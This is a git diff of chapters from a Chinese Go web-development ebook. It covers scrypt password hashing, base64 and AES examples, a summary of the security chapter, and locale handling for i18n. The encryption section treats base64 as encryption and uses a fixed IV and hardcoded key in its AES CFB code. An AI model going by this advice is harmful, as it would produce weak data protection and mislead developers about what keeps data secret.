在两个salt没有泄露的情况下,黑客如果拿到的是最后这个加密串,就几乎不可能推算出原始的密码是什么了。
|
||||
|
||||
## 专家方案
|
||||
上面的进阶方案在几年前也许是足够安全的方案,因为攻击者没有足够的资源建立这么多的`rainbow table`。 但是,时至今日,因为并行计算能力的提升,这种攻击已经完全可行。
|
||||
|
||||
怎么解决这个问题呢?只要时间与资源允许,没有破译不了的密码,所以方案是:故意增加密码计算所需耗费的资源和时间,使得任何人都不可获得足够的资源建立所需的`rainbow table`。
|
||||
|
||||
这类方案有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立`rainbow table`越困难,以至于不可继续。
|
||||
|
||||
这里推荐`scrypt`方案,scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。
|
||||
|
||||
目前Go语言里面支持的库http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt
|
||||
|
||||
dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
|
||||
|
||||
通过上面的的方法可以获取唯一的相应的密码值,这是目前为止最难破解的。
|
||||
|
||||
## 总结
|
||||
看到这里,如果你产生了危机感,那么就行动起来:
|
||||
|
||||
- 1)如果你是普通用户,那么我们建议使用LastPass进行密码存储和生成,对不同的网站使用不同的密码;
|
||||
- 2)如果你是开发人员, 那么我们强烈建议你采用专家方案进行密码存储。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [确保输入过滤](<09.4.md>)
|
||||
* 下一节: [加密和解密数据](<09.6.md>)
|
||||
244
09.6.md → ebook/09.6.md
Executable file → Normal file
244
09.6.md → ebook/09.6.md
Executable file → Normal file
@@ -1,122 +1,122 @@
|
||||
# 9.6 加密和解密数据
|
||||
前面小节介绍了如何存储密码,但是有的时候,我们想把一些敏感数据加密后存储起来,在将来的某个时候,随需将它们解密出来,此时我们应该在选用对称加密算法来满足我们的需求。
|
||||
|
||||
## base64加解密
|
||||
如果Web应用足够简单,数据的安全性没有那么严格的要求,那么可以采用一种比较简单的加解密方法是`base64`,这种方式实现起来比较简单,Go语言的`base64`包已经很好的支持了这个,请看下面的例子:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func base64Encode(src []byte) []byte {
|
||||
return []byte(base64.StdEncoding.EncodeToString(src))
|
||||
}
|
||||
|
||||
func base64Decode(src []byte) ([]byte, error) {
|
||||
return base64.StdEncoding.DecodeString(string(src))
|
||||
}
|
||||
|
||||
func main() {
|
||||
// encode
|
||||
hello := "你好,世界! hello world"
|
||||
debyte := base64Encode([]byte(hello))
|
||||
fmt.Println(debyte)
|
||||
// decode
|
||||
enbyte, err := base64Decode(debyte)
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
}
|
||||
|
||||
if hello != string(enbyte) {
|
||||
fmt.Println("hello is not equal to enbyte")
|
||||
}
|
||||
|
||||
fmt.Println(string(enbyte))
|
||||
}
|
||||
|
||||
|
||||
## 高级加解密
|
||||
|
||||
Go语言的`crypto`里面支持对称加密的高级加解密包有:
|
||||
|
||||
- `crypto/aes`包:AES(Advanced Encryption Standard),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。
|
||||
- `crypto/des`包:DEA(Data Encryption Algorithm),是一种对称加密算法,是目前使用最广泛的密钥系统,特别是在保护金融数据的安全中。
|
||||
|
||||
因为这两种算法使用方法类似,所以在此,我们仅用aes包为例来讲解它们的使用,请看下面的例子
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}
|
||||
|
||||
func main() {
|
||||
//需要去加密的字符串
|
||||
plaintext := []byte("My name is Astaxie")
|
||||
//如果传入加密串的话,plaint就是传入的字符串
|
||||
if len(os.Args) > 1 {
|
||||
plaintext = []byte(os.Args[1])
|
||||
}
|
||||
|
||||
//aes的加密字符串
|
||||
key_text := "astaxie12798akljzmknm.ahkjkljl;k"
|
||||
if len(os.Args) > 2 {
|
||||
key_text = os.Args[2]
|
||||
}
|
||||
|
||||
fmt.Println(len(key_text))
|
||||
|
||||
// 创建加密算法aes
|
||||
c, err := aes.NewCipher([]byte(key_text))
|
||||
if err != nil {
|
||||
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
|
||||
os.Exit(-1)
|
||||
}
|
||||
|
||||
//加密字符串
|
||||
cfb := cipher.NewCFBEncrypter(c, commonIV)
|
||||
ciphertext := make([]byte, len(plaintext))
|
||||
cfb.XORKeyStream(ciphertext, plaintext)
|
||||
fmt.Printf("%s=>%x\n", plaintext, ciphertext)
|
||||
|
||||
// 解密字符串
|
||||
cfbdec := cipher.NewCFBDecrypter(c, commonIV)
|
||||
plaintextCopy := make([]byte, len(plaintext))
|
||||
cfbdec.XORKeyStream(plaintextCopy, ciphertext)
|
||||
fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
|
||||
}
|
||||
|
||||
|
||||
上面通过调用函数`aes.NewCipher`(参数key必须是16、24或者32位的[]byte,分别对应AES-128, AES-192或AES-256算法),返回了一个`cipher.Block`接口,这个接口实现了三个功能:
|
||||
|
||||
type Block interface {
|
||||
// BlockSize returns the cipher's block size.
|
||||
BlockSize() int
|
||||
|
||||
// Encrypt encrypts the first block in src into dst.
|
||||
// Dst and src may point at the same memory.
|
||||
Encrypt(dst, src []byte)
|
||||
|
||||
// Decrypt decrypts the first block in src into dst.
|
||||
// Dst and src may point at the same memory.
|
||||
Decrypt(dst, src []byte)
|
||||
}
|
||||
|
||||
这三个函数实现了加解密操作,详细的操作请看上面的例子。
|
||||
|
||||
## 总结
|
||||
这小节介绍了几种加解密的算法,在开发Web应用的时候可以根据需求采用不同的方式进行加解密,一般的应用可以采用base64算法,更加高级的话可以采用aes或者des算法。
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [存储密码](<09.5.md>)
|
||||
* 下一节: [小结](<09.7.md>)
|
||||
# 9.6 加密和解密数据
|
||||
前面小节介绍了如何存储密码,但是有的时候,我们想把一些敏感数据加密后存储起来,在将来的某个时候,随需将它们解密出来,此时我们应该在选用对称加密算法来满足我们的需求。
|
||||
|
||||
## base64加解密
|
||||
如果Web应用足够简单,数据的安全性没有那么严格的要求,那么可以采用一种比较简单的加解密方法是`base64`,这种方式实现起来比较简单,Go语言的`base64`包已经很好的支持了这个,请看下面的例子:
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func base64Encode(src []byte) []byte {
|
||||
return []byte(base64.StdEncoding.EncodeToString(src))
|
||||
}
|
||||
|
||||
func base64Decode(src []byte) ([]byte, error) {
|
||||
return base64.StdEncoding.DecodeString(string(src))
|
||||
}
|
||||
|
||||
func main() {
|
||||
// encode
|
||||
hello := "你好,世界! hello world"
|
||||
debyte := base64Encode([]byte(hello))
|
||||
fmt.Println(debyte)
|
||||
// decode
|
||||
enbyte, err := base64Decode(debyte)
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
}
|
||||
|
||||
if hello != string(enbyte) {
|
||||
fmt.Println("hello is not equal to enbyte")
|
||||
}
|
||||
|
||||
fmt.Println(string(enbyte))
|
||||
}
|
||||
|
||||
|
||||
## 高级加解密
|
||||
|
||||
Go语言的`crypto`里面支持对称加密的高级加解密包有:
|
||||
|
||||
- `crypto/aes`包:AES(Advanced Encryption Standard),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。
|
||||
- `crypto/des`包:DEA(Data Encryption Algorithm),是一种对称加密算法,是目前使用最广泛的密钥系统,特别是在保护金融数据的安全中。
|
||||
|
||||
因为这两种算法使用方法类似,所以在此,我们仅用aes包为例来讲解它们的使用,请看下面的例子
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"fmt"
|
||||
"os"
|
||||
)
|
||||
|
||||
var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}
|
||||
|
||||
func main() {
|
||||
//需要去加密的字符串
|
||||
plaintext := []byte("My name is Astaxie")
|
||||
//如果传入加密串的话,plaint就是传入的字符串
|
||||
if len(os.Args) > 1 {
|
||||
plaintext = []byte(os.Args[1])
|
||||
}
|
||||
|
||||
//aes的加密字符串
|
||||
key_text := "astaxie12798akljzmknm.ahkjkljl;k"
|
||||
if len(os.Args) > 2 {
|
||||
key_text = os.Args[2]
|
||||
}
|
||||
|
||||
fmt.Println(len(key_text))
|
||||
|
||||
// 创建加密算法aes
|
||||
c, err := aes.NewCipher([]byte(key_text))
|
||||
if err != nil {
|
||||
fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
|
||||
os.Exit(-1)
|
||||
}
|
||||
|
||||
//加密字符串
|
||||
cfb := cipher.NewCFBEncrypter(c, commonIV)
|
||||
ciphertext := make([]byte, len(plaintext))
|
||||
cfb.XORKeyStream(ciphertext, plaintext)
|
||||
fmt.Printf("%s=>%x\n", plaintext, ciphertext)
|
||||
|
||||
// 解密字符串
|
||||
cfbdec := cipher.NewCFBDecrypter(c, commonIV)
|
||||
plaintextCopy := make([]byte, len(plaintext))
|
||||
cfbdec.XORKeyStream(plaintextCopy, ciphertext)
|
||||
fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
|
||||
}
|
||||
|
||||
|
||||
上面通过调用函数`aes.NewCipher`(参数key必须是16、24或者32位的[]byte,分别对应AES-128, AES-192或AES-256算法),返回了一个`cipher.Block`接口,这个接口实现了三个功能:
|
||||
|
||||
type Block interface {
|
||||
// BlockSize returns the cipher's block size.
|
||||
BlockSize() int
|
||||
|
||||
// Encrypt encrypts the first block in src into dst.
|
||||
// Dst and src may point at the same memory.
|
||||
Encrypt(dst, src []byte)
|
||||
|
||||
// Decrypt decrypts the first block in src into dst.
|
||||
// Dst and src may point at the same memory.
|
||||
Decrypt(dst, src []byte)
|
||||
}
|
||||
|
||||
这三个函数实现了加解密操作,详细的操作请看上面的例子。
|
||||
|
||||
## 总结
|
||||
这小节介绍了几种加解密的算法,在开发Web应用的时候可以根据需求采用不同的方式进行加解密,一般的应用可以采用base64算法,更加高级的话可以采用aes或者des算法。
|
||||
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [存储密码](<09.5.md>)
|
||||
* 下一节: [小结](<09.7.md>)
|
||||
18
09.7.md → ebook/09.7.md
Executable file → Normal file
18
09.7.md → ebook/09.7.md
Executable file → Normal file
@@ -1,9 +1,9 @@
|
||||
# 9.7 小结
|
||||
这一章主要介绍了如:CSRF攻击、XSS攻击、SQL注入攻击等一些Web应用中典型的攻击手法,它们都是由于应用对用户的输入没有很好的过滤引起的,所以除了介绍攻击的方法外,我们也介绍了了如何有效的进行数据过滤,以防止这些攻击的发生的方法。然后针对日异严重的密码泄漏事件,介绍了在设计Web应用中可采用的从基本到专家的加密方案。最后针对敏感数据的加解密简要介绍了,Go语言提供三种对称加密算法:base64、aes和des的实现。
|
||||
|
||||
编写这一章的目的是希望读者能够在意识里面加强安全概念,在编写Web应用的时候多留心一点,以使我们编写的Web应用能远离黑客们的攻击。Go语言在支持防攻击方面已经提供大量的工具包,我们可以充分的利用这些包来做出一个安全的Web应用。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [加密和解密数据](<09.6.md>)
|
||||
* 下一节: [国际化和本地化](<10.0.md>)
|
||||
# 9.7 小结
|
||||
这一章主要介绍了如:CSRF攻击、XSS攻击、SQL注入攻击等一些Web应用中典型的攻击手法,它们都是由于应用对用户的输入没有很好的过滤引起的,所以除了介绍攻击的方法外,我们也介绍了了如何有效的进行数据过滤,以防止这些攻击的发生的方法。然后针对日异严重的密码泄漏事件,介绍了在设计Web应用中可采用的从基本到专家的加密方案。最后针对敏感数据的加解密简要介绍了,Go语言提供三种对称加密算法:base64、aes和des的实现。
|
||||
|
||||
编写这一章的目的是希望读者能够在意识里面加强安全概念,在编写Web应用的时候多留心一点,以使我们编写的Web应用能远离黑客们的攻击。Go语言在支持防攻击方面已经提供大量的工具包,我们可以充分的利用这些包来做出一个安全的Web应用。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [加密和解密数据](<09.6.md>)
|
||||
* 下一节: [国际化和本地化](<10.0.md>)
|
||||
50
10.0.md → ebook/10.0.md
Executable file → Normal file
50
10.0.md → ebook/10.0.md
Executable file → Normal file
@@ -1,25 +1,25 @@
|
||||
# 10 国际化和本地化
|
||||
为了适应经济的全球一体化,作为开发者,我们需要开发出支持多国语言、国际化的Web应用,即同样的页面在不同的语言环境下需要显示不同的效果,也就是说应用程序在运行时能够根据请求所来自的地域与语言的不同而显示不同的用户界面。这样,当需要在应用程序中添加对新的语言的支持时,无需修改应用程序的代码,只需要增加语言包即可实现。
|
||||
|
||||
国际化与本地化(Internationalization and localization,通常用i18n和L10N表示),国际化是将针对某个地区设计的程序进行重构,以使它能够在更多地区使用,本地化是指在一个面向国际化的程序中增加对新地区的支持。
|
||||
|
||||
目前,Go语言的标准包没有提供对i18n的支持,但有一些比较简单的第三方实现,这一章我们将实现一个go-i18n库,用来支持Go语言的i18n。
|
||||
|
||||
所谓的国际化:就是根据特定的locale信息,提取与之相应的字符串或其它一些东西(比如时间和货币的格式)等等。这涉及到三个问题:
|
||||
|
||||
1、如何确定locale。
|
||||
|
||||
2、如何保存与locale相关的字符串或其它信息。
|
||||
|
||||
3、如何根据locale提取字符串和其它相应的信息。
|
||||
|
||||
在第一小节里,我们将介绍如何设置正确的locale以便让访问站点的用户能够获得与其语言相应的页面。第二小节将介绍如何处理或存储字符串、货币、时间日期等与locale相关的信息,第三小节将介绍如何实现国际化站点,即如何根据不同locale返回不同合适的内容。通过这三个小节的学习,我们将获得一个完整的i18n方案。
|
||||
|
||||
## 目录
|
||||
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第九章总结](<9.7.md>)
|
||||
* 下一节: [设置默认地区](<10.1.md>)
|
||||
# 10 国际化和本地化
|
||||
为了适应经济的全球一体化,作为开发者,我们需要开发出支持多国语言、国际化的Web应用,即同样的页面在不同的语言环境下需要显示不同的效果,也就是说应用程序在运行时能够根据请求所来自的地域与语言的不同而显示不同的用户界面。这样,当需要在应用程序中添加对新的语言的支持时,无需修改应用程序的代码,只需要增加语言包即可实现。
|
||||
|
||||
国际化与本地化(Internationalization and localization,通常用i18n和L10N表示),国际化是将针对某个地区设计的程序进行重构,以使它能够在更多地区使用,本地化是指在一个面向国际化的程序中增加对新地区的支持。
|
||||
|
||||
目前,Go语言的标准包没有提供对i18n的支持,但有一些比较简单的第三方实现,这一章我们将实现一个go-i18n库,用来支持Go语言的i18n。
|
||||
|
||||
所谓的国际化:就是根据特定的locale信息,提取与之相应的字符串或其它一些东西(比如时间和货币的格式)等等。这涉及到三个问题:
|
||||
|
||||
1、如何确定locale。
|
||||
|
||||
2、如何保存与locale相关的字符串或其它信息。
|
||||
|
||||
3、如何根据locale提取字符串和其它相应的信息。
|
||||
|
||||
在第一小节里,我们将介绍如何设置正确的locale以便让访问站点的用户能够获得与其语言相应的页面。第二小节将介绍如何处理或存储字符串、货币、时间日期等与locale相关的信息,第三小节将介绍如何实现国际化站点,即如何根据不同locale返回不同合适的内容。通过这三个小节的学习,我们将获得一个完整的i18n方案。
|
||||
|
||||
## 目录
|
||||
|
||||

|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一章: [第九章总结](<9.7.md>)
|
||||
* 下一节: [设置默认地区](<10.1.md>)
|
||||
170
10.1.md → ebook/10.1.md
Executable file → Normal file
170
10.1.md → ebook/10.1.md
Executable file → Normal file
@@ -1,85 +1,85 @@
|
||||
# 10.1 设置默认地区
|
||||
## 什么是Locale
|
||||
Locale是一组描述世界上某一特定区域文本格式和语言习惯的设置的集合。locale名通常由三个部分组成:第一部分,是一个强制性的,表示语言的缩写,例如"en"表示英文或"zh"表示中文。第二部分,跟在一个下划线之后,是一个可选的国家说明符,用于区分讲同一种语言的不同国家,例如"en_US"表示美国英语,而"en_UK"表示英国英语。最后一部分,跟在一个句点之后,是可选的字符集说明符,例如"zh_CN.gb2312"表示中国使用gb2312字符集。
|
||||
|
||||
GO语言默认采用"UTF-8"编码集,所以我们实现i18n时不考虑第三部分,接下来我们都采用locale描述的前面两部分来作为i18n标准的locale名。
|
||||
|
||||
|
||||
>在Linux和Solaris系统中可以通过`locale -a`命令列举所有支持的地区名,读者可以看到这些地区名的命名规范。对于BSD等系统,没有locale命令,但是地区信息存储在/usr/share/locale中。
|
||||
|
||||
## 设置Locale
|
||||
有了上面对locale的定义,那么我们就需要根据用户的信息(访问信息、个人信息、访问域名等)来设置与之相关的locale,我们可以通过如下几种方式来设置用户的locale。
|
||||
|
||||
### 通过域名设置Locale
|
||||
设置Locale的办法这一就是在应用运行的时候采用域名分级的方式,例如,我们采用www.asta.com当做我们的英文站(默认站),而把域名www.asta.cn当做中文站。这样通过在应用里面设置域名和相应的locale的对应关系,就可以设置好地区。这样处理有几点好处:
|
||||
|
||||
- 通过URL就可以很明显的识别
|
||||
- 用户可以通过域名很直观的知道将访问那种语言的站点
|
||||
- 在Go程序中实现非常的简单方便,通过一个map就可以实现
|
||||
- 有利于搜索引擎抓取,能够提高站点的SEO
|
||||
|
||||
我们可以通过下面的代码来实现域名的对应locale:
|
||||
|
||||
if r.Host == "www.asta.com" {
|
||||
i18n.SetLocale("en")
|
||||
} else if r.Host == "www.asta.cn" {
|
||||
i18n.SetLocale("zh-CN")
|
||||
} else if r.Host == "www.asta.tw" {
|
||||
i18n.SetLocale("zh-TW")
|
||||
}
|
||||
|
||||
当然除了整域名设置地区之外,我们还可以通过子域名来设置地区,例如"en.asta.com"表示英文站点,"cn.asta.com"表示中文站点。实现代码如下所示:
|
||||
|
||||
prefix := strings.Split(r.Host,".")
|
||||
|
||||
if prefix[0] == "en" {
|
||||
i18n.SetLocale("en")
|
||||
} else if prefix[0] == "cn" {
|
||||
i18n.SetLocale("zh-CN")
|
||||
} else if prefix[0] == "tw" {
|
||||
i18n.SetLocale("zh-TW")
|
||||
}
|
||||
|
||||
通过域名设置Locale有如上所示的优点,但是我们一般开发Web应用的时候不会采用这种方式,因为首先域名成本比较高,开发一个Locale就需要一个域名,而且往往统一名称的域名不一定能申请的到,其次我们不愿意为每个站点去本地化一个配置,而更多的是采用url后面带参数的方式,请看下面的介绍。
|
||||
|
||||
### 从域名参数设置Locale
|
||||
目前最常用的设置Locale的方式是在URL里面带上参数,例如www.asta.com/hello?locale=zh或者www.asta.com/zh/hello。这样我们就可以设置地区:`i18n.SetLocale(params["locale"])`。
|
||||
|
||||
这种设置方式几乎拥有前面讲的通过域名设置Locale的所有优点,它采用RESTful的方式,以使得我们不需要增加额外的方法来处理。但是这种方式需要在每一个的link里面增加相应的参数locale,这也许有点复杂而且有时候甚至相当的繁琐。不过我们可以写一个通用的函数url,让所有的link地址都通过这个函数来生成,然后在这个函数里面增加`locale=params["locale"]`参数来缓解一下。
|
||||
|
||||
也许我们希望URL地址看上去更加的RESTful一点,例如:www.asta.com/en/books(英文站点)和www.asta.com/zh/books(中文站点),这种方式的URL更加有利于SEO,而且对于用户也比较友好,能够通过URL直观的知道访问的站点。那么这样的URL地址可以通过router来获取locale(参考REST小节里面介绍的router插件实现):
|
||||
|
||||
mux.Get("/:locale/books", listbook)
|
||||
|
||||
### 从客户端设置地区
|
||||
在一些特殊的情况下,我们需要根据客户端的信息而不是通过URL来设置Locale,这些信息可能来自于客户端设置的喜好语言(浏览器中设置),用户的IP地址,用户在注册的时候填写的所在地信息等。这种方式比较适合Web为基础的应用。
|
||||
|
||||
- Accept-Language
|
||||
|
||||
客户端请求的时候在HTTP头信息里面有`Accept-Language`,一般的客户端都会设置该信息,下面是Go语言实现的一个简单的根据`Accept-Language`实现设置地区的代码:
|
||||
|
||||
AL := r.Header.Get("Accept-Language")
|
||||
if AL == "en" {
|
||||
i18n.SetLocale("en")
|
||||
} else if AL == "zh-CN" {
|
||||
i18n.SetLocale("zh-CN")
|
||||
} else if AL == "zh-TW" {
|
||||
i18n.SetLocale("zh-TW")
|
||||
}
|
||||
|
||||
当然在实际应用中,可能需要更加严格的判断来进行设置地区
|
||||
- IP地址
|
||||
|
||||
另一种根据客户端来设定地区就是用户访问的IP,我们根据相应的IP库,对应访问的IP到地区,目前全球比较常用的就是GeoIP Lite Country这个库。这种设置地区的机制非常简单,我们只需要根据IP数据库查询用户的IP然后返回国家地区,根据返回的结果设置对应的地区。
|
||||
|
||||
- 用户profile
|
||||
|
||||
当然你也可以让用户根据你提供的下拉菜单或者别的什么方式的设置相应的locale,然后我们将用户输入的信息,保存到与它帐号相关的profile中,当用户再次登陆的时候把这个设置复写到locale设置中,这样就可以保证该用户每次访问都是基于自己先前设置的locale来获得页面。
|
||||
|
||||
## 总结
|
||||
通过上面的介绍可知,设置Locale可以有很多种方式,我们应该根据需求的不同来选择不同的设置Locale的方法,以让用户能以它最熟悉的方式,获得我们提供的服务,提高应用的用户友好性。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [国际化和本地化](<10.0.md>)
|
||||
* 下一节: [本地化资源](<10.2.md>)
|
||||
# 10.1 设置默认地区
|
||||
## 什么是Locale
|
||||
Locale是一组描述世界上某一特定区域文本格式和语言习惯的设置的集合。locale名通常由三个部分组成:第一部分,是一个强制性的,表示语言的缩写,例如"en"表示英文或"zh"表示中文。第二部分,跟在一个下划线之后,是一个可选的国家说明符,用于区分讲同一种语言的不同国家,例如"en_US"表示美国英语,而"en_UK"表示英国英语。最后一部分,跟在一个句点之后,是可选的字符集说明符,例如"zh_CN.gb2312"表示中国使用gb2312字符集。
|
||||
|
||||
GO语言默认采用"UTF-8"编码集,所以我们实现i18n时不考虑第三部分,接下来我们都采用locale描述的前面两部分来作为i18n标准的locale名。
|
||||
|
||||
|
||||
>在Linux和Solaris系统中可以通过`locale -a`命令列举所有支持的地区名,读者可以看到这些地区名的命名规范。对于BSD等系统,没有locale命令,但是地区信息存储在/usr/share/locale中。
|
||||
|
||||
## 设置Locale
|
||||
有了上面对locale的定义,那么我们就需要根据用户的信息(访问信息、个人信息、访问域名等)来设置与之相关的locale,我们可以通过如下几种方式来设置用户的locale。
|
||||
|
||||
### 通过域名设置Locale
|
||||
设置Locale的办法这一就是在应用运行的时候采用域名分级的方式,例如,我们采用www.asta.com当做我们的英文站(默认站),而把域名www.asta.cn当做中文站。这样通过在应用里面设置域名和相应的locale的对应关系,就可以设置好地区。这样处理有几点好处:
|
||||
|
||||
- 通过URL就可以很明显的识别
|
||||
- 用户可以通过域名很直观的知道将访问那种语言的站点
|
||||
- 在Go程序中实现非常的简单方便,通过一个map就可以实现
|
||||
- 有利于搜索引擎抓取,能够提高站点的SEO
|
||||
|
||||
我们可以通过下面的代码来实现域名的对应locale:
|
||||
|
||||
if r.Host == "www.asta.com" {
|
||||
i18n.SetLocale("en")
|
||||
} else if r.Host == "www.asta.cn" {
|
||||
i18n.SetLocale("zh-CN")
|
||||
} else if r.Host == "www.asta.tw" {
|
||||
i18n.SetLocale("zh-TW")
|
||||
}
|
||||
|
||||
当然除了整域名设置地区之外,我们还可以通过子域名来设置地区,例如"en.asta.com"表示英文站点,"cn.asta.com"表示中文站点。实现代码如下所示:
|
||||
|
||||
prefix := strings.Split(r.Host,".")
|
||||
|
||||
if prefix[0] == "en" {
|
||||
i18n.SetLocale("en")
|
||||
} else if prefix[0] == "cn" {
|
||||
i18n.SetLocale("zh-CN")
|
||||
} else if prefix[0] == "tw" {
|
||||
i18n.SetLocale("zh-TW")
|
||||
}
|
||||
|
||||
通过域名设置Locale有如上所示的优点,但是我们一般开发Web应用的时候不会采用这种方式,因为首先域名成本比较高,开发一个Locale就需要一个域名,而且往往统一名称的域名不一定能申请的到,其次我们不愿意为每个站点去本地化一个配置,而更多的是采用url后面带参数的方式,请看下面的介绍。
|
||||
|
||||
### 从域名参数设置Locale
|
||||
目前最常用的设置Locale的方式是在URL里面带上参数,例如www.asta.com/hello?locale=zh或者www.asta.com/zh/hello。这样我们就可以设置地区:`i18n.SetLocale(params["locale"])`。
|
||||
|
||||
这种设置方式几乎拥有前面讲的通过域名设置Locale的所有优点,它采用RESTful的方式,以使得我们不需要增加额外的方法来处理。但是这种方式需要在每一个的link里面增加相应的参数locale,这也许有点复杂而且有时候甚至相当的繁琐。不过我们可以写一个通用的函数url,让所有的link地址都通过这个函数来生成,然后在这个函数里面增加`locale=params["locale"]`参数来缓解一下。
|
||||
|
||||
也许我们希望URL地址看上去更加的RESTful一点,例如:www.asta.com/en/books(英文站点)和www.asta.com/zh/books(中文站点),这种方式的URL更加有利于SEO,而且对于用户也比较友好,能够通过URL直观的知道访问的站点。那么这样的URL地址可以通过router来获取locale(参考REST小节里面介绍的router插件实现):
|
||||
|
||||
mux.Get("/:locale/books", listbook)
|
||||
|
||||
### 从客户端设置地区
|
||||
在一些特殊的情况下,我们需要根据客户端的信息而不是通过URL来设置Locale,这些信息可能来自于客户端设置的喜好语言(浏览器中设置),用户的IP地址,用户在注册的时候填写的所在地信息等。这种方式比较适合Web为基础的应用。
|
||||
|
||||
- Accept-Language
|
||||
|
||||
客户端请求的时候在HTTP头信息里面有`Accept-Language`,一般的客户端都会设置该信息,下面是Go语言实现的一个简单的根据`Accept-Language`实现设置地区的代码:
|
||||
|
||||
AL := r.Header.Get("Accept-Language")
|
||||
if AL == "en" {
|
||||
i18n.SetLocale("en")
|
||||
} else if AL == "zh-CN" {
|
||||
i18n.SetLocale("zh-CN")
|
||||
} else if AL == "zh-TW" {
|
||||
i18n.SetLocale("zh-TW")
|
||||
}
|
||||
|
||||
当然在实际应用中,可能需要更加严格的判断来进行设置地区
|
||||
- IP地址
|
||||
|
||||
另一种根据客户端来设定地区就是用户访问的IP,我们根据相应的IP库,对应访问的IP到地区,目前全球比较常用的就是GeoIP Lite Country这个库。这种设置地区的机制非常简单,我们只需要根据IP数据库查询用户的IP然后返回国家地区,根据返回的结果设置对应的地区。
|
||||
|
||||
- 用户profile
|
||||
|
||||
当然你也可以让用户根据你提供的下拉菜单或者别的什么方式的设置相应的locale,然后我们将用户输入的信息,保存到与它帐号相关的profile中,当用户再次登陆的时候把这个设置复写到locale设置中,这样就可以保证该用户每次访问都是基于自己先前设置的locale来获得页面。
|
||||
|
||||
## 总结
|
||||
通过上面的介绍可知,设置Locale可以有很多种方式,我们应该根据需求的不同来选择不同的设置Locale的方法,以让用户能以它最熟悉的方式,获得我们提供的服务,提高应用的用户友好性。
|
||||
|
||||
## links
|
||||
* [目录](<preface.md>)
|
||||
* 上一节: [国际化和本地化](<10.0.md>)
|
||||
* 下一节: [本地化资源](<10.2.md>)
|
||||
268
10.2.md → ebook/10.2.md
Executable file → Normal file
268
10.2.md → ebook/10.2.md
Executable file → Normal file
@@ -1,134 +1,134 @@
|
||||
# 10.2 本地化资源
|
||||
前面小节我们介绍了如何设置Locale,设置好Locale之后我们需要解决的问题就是如何存储相应的Locale对应的信息呢?这里面的信息包括:文本信息、时间和日期、货币值、图片、包含文件以及视图等资源。那么接下来我们讲对这些信息一一进行介绍,Go语言中我们把这些格式信息存储在JSON中,然后通过合适的方式展现出来。(接下来以中文和英文两种语言对比举例,存储格式文件en.json和zh-CN.json)
|
||||
## 本地化文本消息
|
||||
本信息是编写Web应用中最常用到的,也是本地化资源中最多的信息,想要以适合本地语言的方式来显示文本信息,可行的一种方案是:建立需要的语言相应的map来维护一个key-value的关系,在输出之前按需从适合的map中去获取相应的文本,如下是一个简单的示例:
|
||||
|
||||
package main
|
||||
|
||||
import "fmt"
|
||||
|
||||
var locales map[string]map[string]string
|
||||
|
||||
func main() {
|
||||
locales = make(map[string]map[string]string, 2)
|
||||
en := make(map[string]string, 10)
|
||||
en["pea"] = "pea"
|
||||
en["bean"] = "bean"
|
||||
locales["en"] = en
|
||||
cn := make(map[string]string, 10)
|
||||
cn["pea"] = "豌豆"
|
||||
cn["bean"] = "毛豆"
|
||||
locales["zh-CN"] = cn
|
||||
lang := "zh-CN"
|
||||
fmt.Println(msg(lang, "pea"))
|
||||
fmt.Println(msg(lang, "bean"))
|
||||
}
|
||||
|
||||
func msg(locale, key string) string {
|
||||
if v, ok := locales[locale]; ok {
|
||||
if v2, ok := v[key]; ok {
|
||||
return v2
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
|
||||
上面示例演示了不同locale的文本翻译,实现了中文和英文对于同一个key显示不同语言的实现,上面实现了中文的文本消息,如果想切换到英文版本,只需要把lang设置为en即可。
|
||||
|
||||
有些时候仅是key-value替换是不能满足需要的,例如"I am 30 years old",中文表达是"我今年30岁了",而此处的30是一个变量,该怎么办呢?这个时候,我们可以结合`fmt.Printf`函数来实现,请看下面的代码:
|
||||
|
||||
en["how old"] ="I am %d years old"
|
||||
cn["how old"] ="我今年%d岁了"
|
||||
|
||||
fmt.Printf(msg(lang, "how old"), 30)
|
||||
|
||||
上面的示例代码仅用以演示内部的实现方案,而实际数据是存储在JSON里面的,所以我们可以通过`json.Unmarshal`来为相应的map填充数据。
|
||||
|
||||
## 本地化日期和时间
|
||||
